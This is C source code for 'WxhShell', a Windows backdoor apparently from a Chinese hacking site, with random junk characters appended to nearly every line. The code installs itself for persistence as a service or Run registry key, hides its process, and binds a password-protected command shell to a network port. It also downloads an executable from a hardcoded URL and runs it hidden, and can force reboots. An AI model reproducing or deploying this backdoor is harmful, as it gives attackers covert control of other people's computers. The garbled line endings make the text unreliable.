    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s~)I1G  
    if(Boot(SHUTDOWN)) <0M 2qt8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I&s!}$cD  
    else { 'k1vV  
    closesocket(wsh); |{j\7G*5  
    ExitThread(0); *$Tz g!/  
    } .271at#-  
    break; p4sU:  
    } 7A6:*  
  // 获取shell tDQo1,(oY  
  case 's': { z"PU`v  
    CmdShell(wsh); Vgg' 5o&.  
    closesocket(wsh); $;Nw_S@  
    ExitThread(0); 9u^yEqG`  
    break; Y *?hA'  
  } FDQP|,  
  // 退出 KrzIL[;2o  
  case 'x': { F=9-po  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rJ^*8C!  
    CloseIt(wsh); *_,: &Ur  
    break; Ce.*yO<-  
    } pLtAusx  
  // 离开 hVLV Mqd  
  case 'q': { 6qYK"^+xu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QZ?%xN(4  
    closesocket(wsh); EA=EcUf'  
    WSACleanup(); Pgh)+>ON  
    exit(1); kWm[Lt  
    break; |-zefzD|  
        } OY'6~w9  
  } 37U$9]  
  } .EXxNB]%Y&  
"( NJ{J#A  
  // 提示信息 <)4>"SN&^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mgL{t"$c  
} V =-hqo(  
  } .cCB,re  
tFrNnbmlQ  
  return; \O G`+"|L  
} L`@)*x)~R  
yGZsPQIaV  
// shell模块句柄 /~6)Vt  
int CmdShell(SOCKET sock) dkI(&/  
{ d:GAa   
STARTUPINFO si; m1{OaHxKh  
ZeroMemory(&si,sizeof(si)); y-R:-K XH=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JXKo zy41  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; me`|i-   
PROCESS_INFORMATION ProcessInfo; %}ASll0uq  
char cmdline[]="cmd"; NxzRVsNF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $QC^hC  
  return 0; /vrjg)fer  
} J,,+JoD  
D]B;5f  
// 自身启动模式 |*te69RX  
int StartFromService(void) 5 cz6\A&  
{  97-=Vb  
typedef struct 3uJ>:,~r  
{ =c Krp'  
  DWORD ExitStatus; 5lYzgt-oP  
  DWORD PebBaseAddress; .~Y% AI  
  DWORD AffinityMask; r;'Vy0?AL  
  DWORD BasePriority; 1 ,e`,  
  ULONG UniqueProcessId; ^ygh[.e,  
  ULONG InheritedFromUniqueProcessId; RAY.]:}jr  
}   PROCESS_BASIC_INFORMATION; ,mm9X\ '  
a0*qK)gH  
PROCNTQSIP NtQueryInformationProcess; )sBbmct_S  
:j[a X7Sq2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c,FhI~>R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D4;6}gRC  
l>{+X )  
  HANDLE             hProcess; h$#zuqm  
  PROCESS_BASIC_INFORMATION pbi; g'nN#O  
wfY]J0l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,`.`}'  
  if(NULL == hInst ) return 0; w829 8Kl  
a,~}G'U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n}!D)Gx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 03^?+[C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e}bY 9  
r>.^4Z@  
  if (!NtQueryInformationProcess) return 0; Y&y5^nG  
6fcn(&Qk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [&H?--I  
  if(!hProcess) return 0; +E8}5pDt  
 OYwH$5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ns;nle|m  
IP-}J$$1  
  CloseHandle(hProcess); jSMs<ox  
[X=J]e^D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @ 9q/jv`  
if(hProcess==NULL) return 0; ^iz2 =}Q8  
w/Ej>OS  
HMODULE hMod; ;y%C\YB#  
char procName[255]; HS[N]'dc  
unsigned long cbNeeded; t]PO4GA  
UCDvN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u[yUUYe  
L; f  
  CloseHandle(hProcess); }5{#f`Ca6  
XJ9bY\>)q1  
if(strstr(procName,"services")) return 1; // 以服务启动 3GU JlFj  
?> SH`\  
  return 0; // 注册表启动 o:C],G_  
} DX)T}V&mP  
Z2soy-  
// 主模块 Q?"-[6[v  
int StartWxhshell(LPSTR lpCmdLine) "H!2{l{  
{ Bvy(vc=UDW  
  SOCKET wsl; PN @[k:5(  
BOOL val=TRUE; FdVWj 5 $a  
  int port=0; A"` (^#a  
  struct sockaddr_in door; KtY_m`DY4R  
'.&z y#  
  if(wscfg.ws_autoins) Install(); vJE>H4qPmD  
*[?DnF+  
port=atoi(lpCmdLine); 2gC.Z:}  
=|G l  
if(port<=0) port=wscfg.ws_port; //\UthOT  
?]bZ6|;2  
  WSADATA data; #H1ng<QV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rBUdHd9  
eE'2B."F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   std4Nyp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZZXQCP6]  
  door.sin_family = AF_INET; u  teI[Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pdQ6/vh  
  door.sin_port = htons(port); #[a+m  
(!0=~x|Z[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Im\{b=vT  
closesocket(wsl); a ykNH>#Po  
return 1; X(;,-7Jw  
} T;u>]"S  
!pNY`sw}  
  if(listen(wsl,2) == INVALID_SOCKET) { ZxRD+`  
closesocket(wsl); Kpo{:a  
return 1; =os%22*  
} UEvRK?mm=  
  Wxhshell(wsl); 9V%s1@K  
  WSACleanup(); Ba],ONM4k  
~Z'3(n*9  
return 0; MOIH%lpe  
!PzlrH)M=p  
} mt+IB4`  
Rj|8l K;,  
// 以NT服务方式启动 ;J[1S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4oF8F)ASj  
{ lF\oEMd*  
DWORD   status = 0; [7~ !M*o9  
  DWORD   specificError = 0xfffffff; dfDz/sD*  
)bqfj>%#c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2B# ]z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w6fVZY4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rmW,#  
  serviceStatus.dwWin32ExitCode     = 0; IQS:tL/  
  serviceStatus.dwServiceSpecificExitCode = 0;  pv=g)  
  serviceStatus.dwCheckPoint       = 0; _d'x6$Jg  
  serviceStatus.dwWaitHint       = 0; "b!EtlT9  
Yd4J:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); McgTTM;E  
  if (hServiceStatusHandle==0) return; XF{ g~M  
`5[d9z/6  
status = GetLastError(); HXTBxh  
  if (status!=NO_ERROR) 8"4&IX  
{ '*5I5'[ X,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LFCcV<~  
    serviceStatus.dwCheckPoint       = 0;  #cqia0.H  
    serviceStatus.dwWaitHint       = 0; gc 14%  
    serviceStatus.dwWin32ExitCode     = status; S=>54!{`x  
    serviceStatus.dwServiceSpecificExitCode = specificError; S;[*5g6a&x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uj)~>V'  
    return; ,c@^u6a  
  } *v[WJ"8@  
gv}Esps R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z O  
  serviceStatus.dwCheckPoint       = 0; 8I)66  
  serviceStatus.dwWaitHint       = 0; I_('Mr)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1f]04TI  
} x1\,WOrmK  
$!L'ZO1_r  
// 处理NT服务事件,比如:启动、停止 ] ZGP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bu[v[U4  
{ kzG m D i  
switch(fdwControl) {$,e@nn  
{ :A\8#]3  
case SERVICE_CONTROL_STOP: 8. [TPiUn'  
  serviceStatus.dwWin32ExitCode = 0; /vi>@a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m]8rljo  
  serviceStatus.dwCheckPoint   = 0; 4tR:O#($V  
  serviceStatus.dwWaitHint     = 0; MO+g*N  
  { %nQii? 1`i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c(. 2D  
  } wRn]  
  return; [];*9vxW  
case SERVICE_CONTROL_PAUSE: ab!,)^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?GPTJ#=j=]  
  break; Cpu L[|51  
case SERVICE_CONTROL_CONTINUE: t<M^/xe2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V,<3uQD9a  
  break; cv(9v =](  
case SERVICE_CONTROL_INTERROGATE: C9[Jr)QX  
  break; hPa:>e  
}; 7q<2k_3<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tCAh?nR  
} 6 eqxwj{S[  
<(dHh9$~  
// 标准应用程序主函数 }>I|\Z0I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )<bgZ, v  
{ 5o 4\Jwt  
=m.Lw  
// 获取操作系统版本 +jePp_3$O  
OsIsNt=GetOsVer(); HV-c DL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j:# wt70  
CM+Nm(|\,  
  // 从命令行安装 DT`TA#O  
  if(strpbrk(lpCmdLine,"iI")) Install(); p< i;@H;:  
@:\Iw"P  
  // 下载执行文件 U|QLc   
if(wscfg.ws_downexe) { 4.:2!Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a>x3UVf_  
  WinExec(wscfg.ws_filenam,SW_HIDE); u}ULb F  
} BbEWa  
"c8 -xG  
if(!OsIsNt) { T 22tZp  
// 如果时win9x,隐藏进程并且设置为注册表启动 FES_:?.0  
HideProc(); r>4HF"Nm  
StartWxhshell(lpCmdLine); jnfktDV'  
} Atc<xp  
else :ulOG{z  
  if(StartFromService()) H`#{zt);  
  // 以服务方式启动 p|!5G&O,  
  StartServiceCtrlDispatcher(DispatchTable); U5N/'p%)<  
else e&WlJ  
  // 普通方式启动 ]v&)mK]n=o  
  StartWxhshell(lpCmdLine); n1+1/  
?.t naE  
return 0; ru#,pJ=O(  
} p4QQ5O$;  
qdkhfm2(K  
Bw _^"e8X  
'B dZN  
=========================================== Z<L|WRe  
cPD&xVwq>  
IE7%u 92  
}71a3EUK  
\ng!qN  
`}t<5_  
" qxKW% {6o  
{j$:9  H  
#include <stdio.h> 2P3,\L  
#include <string.h> /J''`Tf  
#include <windows.h> LpCJfQ  
#include <winsock2.h> a"7zz]XO2  
#include <winsvc.h> ~6YTm6o  
#include <urlmon.h> cu{c:z~  
m'{gO9V  
#pragma comment (lib, "Ws2_32.lib") jeb ]3i=pw  
#pragma comment (lib, "urlmon.lib") ]-ad\PI$  
c>I(6$  
#define MAX_USER   100 // 最大客户端连接数 %d-|C.  
#define BUF_SOCK   200 // sock buffer g{|F<2rd[m  
#define KEY_BUFF   255 // 输入 buffer \4$V ;C/n,  
+i"^"/2f{  
#define REBOOT     0   // 重启 .g/PWEr\I  
#define SHUTDOWN   1   // 关机 8@b,>l$  
|^l17veA@  
#define DEF_PORT   5000 // 监听端口 n hT%_se4  
mhh^kwW  
#define REG_LEN     16   // 注册表键长度 P/%5J3_,  
#define SVC_LEN     80   // NT服务名长度 yN-o?[o  
kA c8[Hn  
// 从dll定义API %?<Y&t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D,R"P }G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >3aB{[[N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); imb.CYS74  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v_U+wga  
i2bkgyzB.  
// wxhshell配置信息 Xy(8}  
struct WSCFG { `Hlv*" w$  
  int ws_port;         // 监听端口 ZC7ZlL _  
  char ws_passstr[REG_LEN]; // 口令 0iS"V^aH  
  int ws_autoins;       // 安装标记, 1=yes 0=no vs=8x\W  
  char ws_regname[REG_LEN]; // 注册表键名 *vFXe_.  
  char ws_svcname[REG_LEN]; // 服务名 B\WIoz;'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \%],pZsA~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tW$Di*h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d WKjVf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wE*o1.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +\s32o zg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6gr?#D -F  
b*5Yy/U  
}; Gl am(V1  
MBp,! _Q6  
// default Wxhshell configuration ~F)[H'$A  
struct WSCFG wscfg={DEF_PORT, { Q?\%4>2  
    "xuhuanlingzhe", XC*!=h*  
    1, _8QHx;}  
    "Wxhshell", U5[,UrC  
    "Wxhshell", %Z.!T  
            "WxhShell Service", Z [[AmxE'l  
    "Wrsky Windows CmdShell Service", T:<mme3v  
    "Please Input Your Password: ", }# cFr)4f  
  1, 8PRKSJ[@K  
  "http://www.wrsky.com/wxhshell.exe", (~k{aO  
  "Wxhshell.exe" )t?_3'W  
    }; w'i8yl bZ  
{OIktG2gZ  
// 消息定义模块 {tKi8O^Rb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %[l#S*)~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :,8eM{.Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g$?kL  
char *msg_ws_ext="\n\rExit."; wC&+nS1  
char *msg_ws_end="\n\rQuit."; v % c-El%  
char *msg_ws_boot="\n\rReboot..."; vV$6fvS  
char *msg_ws_poff="\n\rShutdown..."; $!LL  
char *msg_ws_down="\n\rSave to "; "a T "o  
tKP zM  
char *msg_ws_err="\n\rErr!"; oS0rP'V^  
char *msg_ws_ok="\n\rOK!"; _6Z}_SiOl  
P#j>hS  
char ExeFile[MAX_PATH]; o],z/MPL  
int nUser = 0; c.?+rcnq  
HANDLE handles[MAX_USER]; >Hd Pcsl L  
int OsIsNt; sjW;Nsp  
sUe<21:  
SERVICE_STATUS       serviceStatus; ]r&dWF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; paYvYK-K?  
WHkrd8  
// 函数声明 w~a_FGYX  
int Install(void); iJaA&z5sr  
int Uninstall(void); n/ m7+=]v  
int DownloadFile(char *sURL, SOCKET wsh); LX%UkfA9  
int Boot(int flag); 6'a1]K  
void HideProc(void); (?ofL|Cg(  
int GetOsVer(void); e$Npo<u  
int Wxhshell(SOCKET wsl); >Y)FoHa+/  
void TalkWithClient(void *cs); &al\8  
int CmdShell(SOCKET sock); SbYs a  
int StartFromService(void); zNh$d;(O$^  
int StartWxhshell(LPSTR lpCmdLine); .dw;b~p  
:k&5Z`>)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _GtG8ebr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lm[LDtc  
1cdX0[sN  
// 数据结构和表定义 oMV^W^<  
SERVICE_TABLE_ENTRY DispatchTable[] = -<Oy5N  
{ ?ISv|QpC  
{wscfg.ws_svcname, NTServiceMain}, %CaF-m=Pq  
{NULL, NULL} u.!<)VIJx  
}; 8]2j*e0xV  
^`f( Pg!  
// 自我安装 wK*b2r}0/  
int Install(void) 0(h'ZV  
{ egHvI&w"o  
  char svExeFile[MAX_PATH]; n[c/L8j  
  HKEY key; &{=`g+4n  
  strcpy(svExeFile,ExeFile); V|T3blG?D  
uc?`,;8{`  
// 如果是win9x系统,修改注册表设为自启动 {!av3Pz\  
if(!OsIsNt) { .NX>d@ Kc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B,NHy C1i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !fT3mI6u\  
  RegCloseKey(key); k<.VR"I p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @'lO~i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); no UXRQ  
  RegCloseKey(key); 8 aC]" C  
  return 0; qJ5gdID1_  
    } *<IQ+oat,a  
  } DcmRb/AP*  
} 48W-Tf6v|  
else { 5#}wI~U;  
$?Yw{%W  
// 如果是NT以上系统,安装为系统服务 A6AIkKjzq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ffibS0aM  
if (schSCManager!=0) >&DNxw  
{ @;P\`[(*  
  SC_HANDLE schService = CreateService 3`^NaQ  
  ( Q VJvuiUh  
  schSCManager, H'2Un(#Al  
  wscfg.ws_svcname, eGW~4zU  
  wscfg.ws_svcdisp, RxrUnMF  
  SERVICE_ALL_ACCESS, c ;@k\6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YA'_Ba(v)  
  SERVICE_AUTO_START, ANWUo}j  
  SERVICE_ERROR_NORMAL, "PtOe[Xk  
  svExeFile, 9xZ?}S:d  
  NULL, (U@uJ  
  NULL, S /)J<?<b  
  NULL, *s}j:fJ  
  NULL, r<XlIi  
  NULL I]B[H6  
  ); 0ofl,mXW  
  if (schService!=0) t^(#~hx  
  { [R9!Tz  
  CloseServiceHandle(schService); ?[~)D}] j  
  CloseServiceHandle(schSCManager); "YQ%j+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v:w $l{7  
  strcat(svExeFile,wscfg.ws_svcname); K" U!SWv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7iM;X2=7}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u*C"d1v=  
  RegCloseKey(key); Kj`sq":Je0  
  return 0; 0Q= o"@  
    } /@~&zx&_  
  } J`@#yHL  
  CloseServiceHandle(schSCManager); j"Vb8}  
} 'RjMwJy{  
} b/Q\ .!  
JJn+H&[B  
return 1; z,#3YC{'  
}  cojbuo  
x[i Et%_  
// 自我卸载 {Vj25Gt  
int Uninstall(void) D8I)3cXa'  
{ ( O>oN~  
  HKEY key; avI   
B%e#u.'6  
if(!OsIsNt) { xFcRp2W9R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  GP/G v  
  RegDeleteValue(key,wscfg.ws_regname); d PfD Pb  
  RegCloseKey(key); [va7+=[1=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iTq~ ^9G  
  RegDeleteValue(key,wscfg.ws_regname); H%\\-Z$#  
  RegCloseKey(key); ~jqh&u$(  
  return 0; >5|;8v-r  
  } ]CIZF,  
} koizk&)  
} 0- 'f1 1S  
else { h c9? z}  
s3LR6Z7;i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vs )1Rm  
if (schSCManager!=0) !"Q8KV  
{ N>A*N,+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &xwAE*}  
  if (schService!=0) I@f">&^  
  { "w\Iz]  
  if(DeleteService(schService)!=0) { $]05?JY#  
  CloseServiceHandle(schService); oV c l (  
  CloseServiceHandle(schSCManager); >iCkvQ  
  return 0; ]v^;]0vcr  
  } Z`l97$\  
  CloseServiceHandle(schService); /?; 8F  
  } Yz?1]<X  
  CloseServiceHandle(schSCManager); fi[c^e+IX  
} ly d[GfJ  
} tN5brf  
;NrkX?Y  
return 1; _faI*OY8  
} _`JY A  
<h/\)bPB  
// 从指定url下载文件 oK GFDl]3  
int DownloadFile(char *sURL, SOCKET wsh) p,=:Ff}~  
{ s'V8PN+-  
  HRESULT hr; :95wHmk  
char seps[]= "/"; {9<2{$Og  
char *token; .~4>5W"u  
char *file; `O5kI#m)L*  
char myURL[MAX_PATH]; TXi$Q%0W  
char myFILE[MAX_PATH]; *XmOWV2Y_  
+|OkT  
strcpy(myURL,sURL); 0 mWfR8h0  
  token=strtok(myURL,seps); ] =jnt  
  while(token!=NULL) 3:rH1vG.m  
  { j/bebR}X  
    file=token; >8 V;:(nt  
  token=strtok(NULL,seps); .,K?(O4AY  
  } ,~Y5vnaOQ  
b&g9A{t  
GetCurrentDirectory(MAX_PATH,myFILE); $ ;/Ny)"  
strcat(myFILE, "\\"); &Z+a (  
strcat(myFILE, file); )>ed6A1  
  send(wsh,myFILE,strlen(myFILE),0); [|2uu."$  
send(wsh,"...",3,0); @NXGVmY1}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $J #}3;a  
  if(hr==S_OK) 'nNw  
return 0; : 5@cj j  
else %>uGzQ61  
return 1; j\nnx8`7  
eBTy!!  
} ^c1I'9(r5  
#ZIV>(Q\H  
// 系统电源模块 i&^?p|eKa  
int Boot(int flag) G:.Nq,513  
{ kNW&rg  
  HANDLE hToken; t%Z_*mIfmE  
  TOKEN_PRIVILEGES tkp; lX`)Avqa  
$&m^WrZaY  
  if(OsIsNt) { nm*!#hx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *g5df[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^sq3@*hCw  
    tkp.PrivilegeCount = 1; Kg>+5~+E?q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L_jwM ^8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Bh-*l?K>  
if(flag==REBOOT) { o(~>a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :&`Yz   
  return 0; c3|;'s  
} yov:JnWo  
else { [^W4%S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \1RQ),5 %]  
  return 0; cW),Y|8  
}  !+IxPn  
  } U<eVLfSij  
  else { Y[;Pl$  
if(flag==REBOOT) { 0-g,C=L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0At??Z py  
  return 0; b]mRn{r?  
} DB_ x  
else { 71Ssk|L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N7Z&_$Bx  
  return 0; [*?P2.bf  
} #l-,2C~  
} ']f]:X;6 w  
T~%5^+[h  
return 1; 7F3Hkvd[k  
} i,ku91T  
Yh:*.@  
// win9x进程隐藏模块 p&_a kQj  
void HideProc(void) 0(3t#  
{ G4s!q1H  
*E .{i   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (EU X>IJ  
  if ( hKernel != NULL ) K;-:C9@  
  { ;oC85I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  iTbmD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,^|+n()O  
    FreeLibrary(hKernel); ]-)qL[Q  
  } W1y,.6  
. xX xjl  
return; ,y2ur2  
} xVKx#X9yk  
>Z|4/PF  
// 获取操作系统版本 D2>EG~xWq  
int GetOsVer(void) )sB`!:~HjP  
{ "C=HBJdYB5  
  OSVERSIONINFO winfo; F f& VBm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LjXtOF  
  GetVersionEx(&winfo); *kL1r w6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5.VA1  
  return 1; d2.eDEOsC  
  else f]5bAs  
  return 0; ET _}x7  
} >g93Bj*  
)J (ekfM  
// 客户端句柄模块 >6ch[W5k@  
int Wxhshell(SOCKET wsl) $F G4wA  
{ &.<{c `-  
  SOCKET wsh; :!tQqy2  
  struct sockaddr_in client; HK&F'\'}  
  DWORD myID; =q[3/'2V$?  
zK:/ 1  
  while(nUser<MAX_USER) |ki#MtCp  
{ ;=)CjC8)  
  int nSize=sizeof(client); xvp{F9~qT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #JuO  
  if(wsh==INVALID_SOCKET) return 1; 'L3 \I  
&r DOqj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 66)@4 3V  
if(handles[nUser]==0) TmX~vZ  
  closesocket(wsh); ,[Cl'B  
else [b;Oalw  
  nUser++; Ylt[Ks<2  
  } gMI%z2]'-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B7 }-g"p$/  
,{8~TVO  
  return 0; 9KXp0Q?-$  
} w=#&(xm0  
P$]Vb'Fz  
// 关闭 socket g-}Vu1w0{6  
void CloseIt(SOCKET wsh) ,fET.s^|U  
{ ,Z>RvLl  
closesocket(wsh); _7$j>xX  
nUser--; A2rr>  
ExitThread(0); j*QY_Ny*  
} J4lE7aFDA~  
%iD>^Dp  
// 客户端请求句柄 *A,=Y/  
void TalkWithClient(void *cs) [(btpWxb^  
{ kmov(V  
G0]q(.sOy  
  SOCKET wsh=(SOCKET)cs; 8% 1hfj  
  char pwd[SVC_LEN]; ~01r c  
  char cmd[KEY_BUFF]; KM0#M'dXy  
char chr[1]; HNU[W8mg8  
int i,j; c}v:X Slh7  
hH[JY(V  
  while (nUser < MAX_USER) { LDPo}ogs  
Nob(bD5SpE  
if(wscfg.ws_passstr) { w0*6GCP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _FdWV?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }clFaT>m?  
  //ZeroMemory(pwd,KEY_BUFF); ` GPK$ue  
      i=0; Qr0JJoHT  
  while(i<SVC_LEN) { N.-Ryj&9  
YT:<AJm  
  // 设置超时 wc__g8?'  
  fd_set FdRead; UdL`.D,  
  struct timeval TimeOut; 2s 6Vy  
  FD_ZERO(&FdRead); S~6<'N&[  
  FD_SET(wsh,&FdRead); HHEFX9u  
  TimeOut.tv_sec=8; Iv/yIS  
  TimeOut.tv_usec=0; `+zr PpX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uft~+w P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xd|5{  
]"CA P%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }JlQQ  
  pwd=chr[0]; z>y,}#D?C  
  if(chr[0]==0xd || chr[0]==0xa) { Vx0V6{JX  
  pwd=0; P"i qP|  
  break; y/i"o-}}~|  
  } 2_F`ILCML  
  i++; ,cC4d`  
    } F=P|vYL&&  
OH)SdSBz  
  // 如果是非法用户,关闭 socket *"e[au^8*b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zs{ `Yf^Q  
} ) Fm  
sgB3i`_M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j6v +S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &F.lo9JJ  
>eUAHmXQ|  
while(1) { ~^5uOeTZ~  
zcZr )Oh  
  ZeroMemory(cmd,KEY_BUFF); ]e"NJkcm  
/+IR^WG#C}  
      // 自动支持客户端 telnet标准   n$=n:$`q  
  j=0; }W|CIgF*  
  while(j<KEY_BUFF) { gJF;yW 4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BO h  
  cmd[j]=chr[0]; Nxt/R%(  
  if(chr[0]==0xa || chr[0]==0xd) { Hss{Sb(  
  cmd[j]=0; {UPIdQ'g  
  break; HQUL?URt  
  } 41C=O@9m  
  j++; KR522YW  
    } uNRGbDMA=  
3(PU=  
  // 下载文件 qmL!"ZRLF  
  if(strstr(cmd,"http://")) { ^ul`b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `b%/.%]$  
  if(DownloadFile(cmd,wsh)) G&n_vwZ%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2qn~A0r  
  else iySmNI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zzW^ AvR  
  } $@#nn5^IX  
  else { f9\7v_  
E=x\f "Z  
    switch(cmd[0]) { H+: $ 7;  
